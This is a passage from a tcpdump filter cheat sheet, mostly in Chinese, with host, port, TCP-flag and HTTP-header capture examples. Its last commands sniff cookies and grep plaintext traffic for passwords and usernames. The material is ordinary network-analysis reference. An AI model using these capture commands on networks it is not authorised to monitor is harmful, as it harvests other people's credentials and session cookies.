tcpdump -i eth0 -nn host 220.181.57.216 and 10.0.0.1 # 主機之間的通訊
tcpdump -i eth0 -nn host 220.181.57.216 or 10.0.0.1
# 獲取10.0.0.1與 10.0.0.9或 10.0.0.1 與10.0.0.3之間的通訊
tcpdump -i eth0 -nn host 10.0.0.1 and \(10.0.0.9 or 10.0.0.3\)
原始輸出
並顯示人類可讀的內容進行輸出包(不包含內容)。
tcpdump -ttnnvvS -i eth0
IP到埠
讓我們查詢從某個IP到埠任何主機的某個埠所有流量。
tcpdump -nnvvS src 10.5.2.3 and dst port 3389
去除特定流量
可以將指定的流量排除,如這顯示所有到192.168.0.2的 非ICMP的流量。
tcpdump dst 192.168.0.2 and src net and not icmp
來自非指定埠的流量,如,顯示來自不是SSH流量的主機的所有流量。
tcpdump -vv src mars and not dst port 22
選項分組
在構建複雜查詢時,必須使用單引號 '
。單引號用於忽略特殊符號 ()
,以便於使用其他表示式(如host、port、net等)進行分組。
tcpdump 'src 10.0.2.4 and (dst port 3389 or 22)'
過濾TCP標記位
TCP RST
The filters below find these various packets because tcp[13] looks at offset 13 in the TCP header, the number represents the location within the byte, and the !=0 means that the flag in question is set to 1, i.e. it’s on.
tcpdump 'tcp[13] & 4!=0'
tcpdump 'tcp[tcpflags] == tcp-rst'
TCP SYN
tcpdump 'tcp[13] & 2!=0'
tcpdump 'tcp[tcpflags] == tcp-syn'
同時忽略SYN和ACK標誌的資料包
tcpdump 'tcp[13]=18'
TCP URG
tcpdump 'tcp[13] & 32!=0'
tcpdump 'tcp[tcpflags] == tcp-urg'
TCP ACK
tcpdump 'tcp[13] & 16!=0'
tcpdump 'tcp[tcpflags] == tcp-ack'
TCP PSH
tcpdump 'tcp[13] & 8!=0'
tcpdump 'tcp[tcpflags] == tcp-push'
TCP FIN
tcpdump 'tcp[13] & 1!=0'
tcpdump 'tcp[tcpflags] == tcp-fin'
查詢http包
查詢 user-agent
資訊
tcpdump -vvAls0 | grep 'User-Agent:'
查詢只是 GET
請求的流量
tcpdump -vvAls0 | grep 'GET'
查詢http客戶端IP
tcpdump -vvAls0 | grep 'Host:'
查詢客戶端cookie
tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:'
查詢DNS流量
tcpdump -vvAs0 port 53
查詢對應流量的明文密碼
tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user '
Reference:https://danielmiessler.com/study/tcpdump/#basic-communication